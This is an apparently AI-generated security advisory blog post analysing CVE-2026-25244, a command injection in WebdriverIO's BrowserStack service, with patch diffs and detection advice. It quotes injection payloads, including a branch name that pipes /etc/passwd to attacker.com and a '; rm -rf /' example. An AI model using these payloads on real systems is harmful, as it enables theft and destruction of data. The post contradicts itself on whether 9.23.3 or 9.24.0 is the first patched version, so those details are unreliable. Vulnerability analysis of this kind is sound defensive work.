ZeroPath at Black Hat USA 2026

WebdriverIO CVE-2026-25244: Overview of Critical Command Injection via Malicious Git Branch Names in BrowserStack Service

A brief summary of CVE-2026-25244, a CVSS 9.8 command injection vulnerability in WebdriverIO's BrowserStack service that allows remote code execution through crafted Git branch names. Includes patch analysis and detection strategies.

CVE Analysis

10 min read

ZeroPath CVE Analysis
ZeroPath CVE Analysis

2026-05-18

WebdriverIO CVE-2026-25244: Overview of Critical Command Injection via Malicious Git Branch Names in BrowserStack Service
Experimental AI-Generated Content

This CVE analysis is an experimental publication that is completely AI-generated. The content may contain errors or inaccuracies and is subject to change as more information becomes available. We are continuously refining our process.

If you have feedback, questions, or notice any errors, please reach out to us.

[email protected]

Introduction

A single unsanitized Git branch name is all it takes to achieve remote code execution on any CI/CD server or developer machine running WebdriverIO's BrowserStack integration for test orchestration. With roughly 2.67 million weekly npm downloads and 564 dependent packages, the blast radius of CVE-2026-25244 extends across a significant portion of the JavaScript testing ecosystem.

WebdriverIO is an open source, next generation test automation framework for Node.js that supports unit, component, and end to end testing using WebDriver, WebDriver BiDi, and Appium. It is one of the most widely adopted browser and mobile testing frameworks in the JavaScript ecosystem, with 9.8k GitHub stars and deep integration into enterprise CI/CD pipelines. Its @wdio/browserstack-service package provides seamless integration with BrowserStack's cloud testing infrastructure, including a "smart selection" feature that uses Git metadata to determine which tests to run.

Technical Information

Root Cause

The vulnerability is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command. The flaw exists in the getGitMetadataForAISelection() function within the file packages/wdio-browserstack-service/src/testorchestration/helpers.ts (specifically at line 204 in the vulnerable version).

During test orchestration, this function extracts Git metadata to facilitate BrowserStack's smart test selection feature. The core problem is that the function uses Node.js's execSync() to run Git commands, and it interpolates user controlled values, specifically Git branch names, directly into the command string passed to execSync(). Because execSync() invokes a system shell (/bin/sh on Unix), any shell metacharacters present in the interpolated values are interpreted by the shell rather than treated as literal strings.

Git's branch naming rules are permissive enough to allow characters that function as shell metacharacters: semicolons, pipe operators, backticks, $() constructs, and others. An attacker who controls a branch name can therefore embed arbitrary shell commands that will execute when the vulnerable function processes the repository.

A vulnerable line in the pre-patch code looked like this:

const changedFilesOutput = execSync(`git diff --name-only ${baseBranch}..${currentBranch}`).toString().trim()

If currentBranch contained a value like main;curl attacker.com/exfil?data=$(cat /etc/passwd), the shell would interpret the semicolon as a command separator and execute the injected curl command.

Attack Flow

  1. Craft a malicious repository: The attacker creates a Git repository with a branch name containing shell metacharacters and an embedded payload. For example, a branch named with an injected command that downloads and executes a script, exfiltrates secrets, or creates a reverse shell.

  2. Introduce the repository into the target's pipeline: The malicious repository is supplied via the testOrchestrationOptions.runSmartSelection.source configuration parameter. If this parameter is unset, WebdriverIO defaults to the current working directory, meaning any cloned repository with a malicious branch name could trigger the vulnerability.

  3. Trigger test orchestration: When WebdriverIO's BrowserStack service runs and invokes getGitMetadataForAISelection(), it calls execSync() with the unsanitized branch name interpolated into the command string.

  4. Shell interprets the payload: The system shell parses the command string, encounters the metacharacters in the branch name, and executes the attacker's injected commands with the privileges of the Node.js process.

  5. Post exploitation: Depending on the payload, the attacker can exfiltrate CI/CD secrets and credentials, steal SSH keys and source code, compromise the build server, or tamper with build artifacts to conduct supply chain attacks.

Severity Context

The CVSS 9.8 score reflects the fact that this vulnerability requires no authentication, involves low attack complexity, and is exploitable over a network. The impact spans confidentiality, integrity, and availability of the affected system.

Patch Information

The vulnerability was patched in commit 0e6748ec, authored by Christian Bromann on February 1, 2026, with the message fix(browserstack): better handle malicious branch names (#15069). The fix first landed in @wdio/browserstack-service version 9.23.3 and was also included in the v9.24.0 release (published February 10, 2026). The entire patch modifies a single file, packages/wdio-browserstack-service/src/testorchestration/helpers.ts, with 102 additions and 22 deletions.

The patch addresses the root cause through two complementary strategies.

Strategy 1: Replacing execSync with spawnSync

The most critical change swaps out the shell invoking execSync for spawnSync, which takes the executable and its arguments as separate array elements and does not invoke a shell:

-import { execSync } from 'node:child_process' +import { spawnSync } from 'node:child_process'

To centralize this, the patch introduces a safeGitCommand wrapper:

function safeGitCommand(args: string[], cwd?: string): string { const result = spawnSync('git', args, { cwd, encoding: 'utf-8', maxBuffer: 10 * 1024 * 1024 }) if (result.error) { throw result.error } if (result.status !== 0) { throw new Error(result.stderr || `Git command failed with status ${result.status}`) } return result.stdout.trim() }

Every previous execSync(...) call was rewritten to use this wrapper with array based arguments:

-const changedFilesOutput = execSync(`git diff --name-only ${baseBranch}..${currentBranch}`).toString().trim() +const changedFilesOutput = safeGitCommand(['diff', '--name-only', `${baseBranch}..${currentBranch}`])

Because spawnSync never invokes a shell, even if baseBranch contained something like ; rm -rf /, it would be passed as a literal string argument to git, which would simply fail with a "bad revision" error rather than executing the injected command.

Strategy 2: Git Reference Validation via isValidGitRef

As a defense in depth measure, the patch introduces a strict allowlist regex for validating all git references before they are used:

const SAFE_GIT_REF_PATTERN = /^[a-zA-Z0-9_./-]+$/ function isValidGitRef(ref: string): boolean { if (!ref || ref.length === 0 || ref.length > 256) { return false } return SAFE_GIT_REF_PATTERN.test(ref) }

This regex permits only alphanumeric characters, dots, underscores, forward slashes, and hyphens. Any ref containing shell dangerous characters will fail validation. The 256 character length limit provides additional protection against excessively long or crafted inputs.

This validation is applied at every critical boundary. For example, in getGitMetadataForAISelection, the current branch name is validated immediately after retrieval:

+if (!isValidGitRef(currentBranch)) { + log.warn(`Invalid current branch name detected: ${currentBranch}. Skipping this folder for security reasons.`) + process.chdir(originalDir) + continue +}

Similar guards were added around the base branch, commit hashes, and parent commit hashes during diff operations. In each case, an invalid ref is logged and skipped rather than processed.

The combination of these two strategies is textbook secure coding: spawnSync eliminates the injection vector at the execution layer, while isValidGitRef validation rejects malicious input before it ever reaches any execution path. Even if one layer were somehow bypassed, the other provides independent protection.

Detection Methods

Dependency Scanning and SCA Tools

The most practical way to detect CVE-2026-25244 is through Software Composition Analysis (SCA) tooling. The vulnerability is cataloged in all major advisory databases:

  • GitHub Advisory Database tracks it under GHSA-5c46-x3qw-q7j7, so Dependabot alerts will automatically notify repository owners who depend on the affected package.
  • GitLab Advisory Database (GLAD) has an entry for this CVE and recommends using GitLab Dependency Scanning.
  • npm audit will flag this vulnerability since it draws from the GitHub Advisory Database. Running npm audit in any project with @wdio/browserstack-service in its dependency tree will surface the advisory.
  • Commercial SCA platforms including Tenable, Snyk, and Miggo Security all carry entries for this CVE.

The version check is straightforward: any installation of @wdio/browserstack-service at version 9.23.2 or earlier is vulnerable. The first patched version is 9.24.0.

Behavioral and Runtime Detection

Beyond version scanning, defenders should consider behavioral indicators on build servers:

  • Suspicious git branch names: The attack relies on branch names containing shell metacharacters such as ;, ${}, backticks, or pipe operators. If your CI/CD pipeline logs the git branches being checked out, look for branch names containing these characters, for example patterns like main;curl or main;touch.
  • Unexpected child processes: During normal WebdriverIO test runs with BrowserStack, the execSync calls should only produce standard git output. Process monitoring (e.g., auditd on Linux, Sysmon on Windows) revealing unusual child processes spawned during test orchestration, such as curl, wget, bash, or file creation commands, would be anomalous.
  • File system artifacts: Monitoring for unexpected file creation in temporary directories during CI/CD test runs could surface exploitation attempts.

What Is Not Yet Available

There are currently no publicly available Nuclei templates, YARA rules, Sigma rules, or Snort/Suricata IDS signatures tailored to CVE-2026-25244. This is expected given that the vulnerability is a server side command injection in a build time npm package rather than a remotely exploitable web endpoint. The CVE is not listed in CISA's Known Exploited Vulnerabilities (KEV) catalog and its EPSS score is 0%.

Affected Systems and Versions

ComponentStatus
@wdio/browserstack-service versions 9.23.2 and belowVulnerable
@wdio/browserstack-service version 9.23.3First patched version
@wdio/browserstack-service version 9.24.0 and laterPatched

The vulnerability specifically affects deployments that use the BrowserStack service's test orchestration feature with smart selection (testOrchestrationOptions.runSmartSelection). Environments where this feature is not enabled are not exposed to the vulnerable code path, though upgrading is still recommended as a precaution.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Jira
  • Linear
  • Slack
  • Security Compass
Security magnifying glass visualization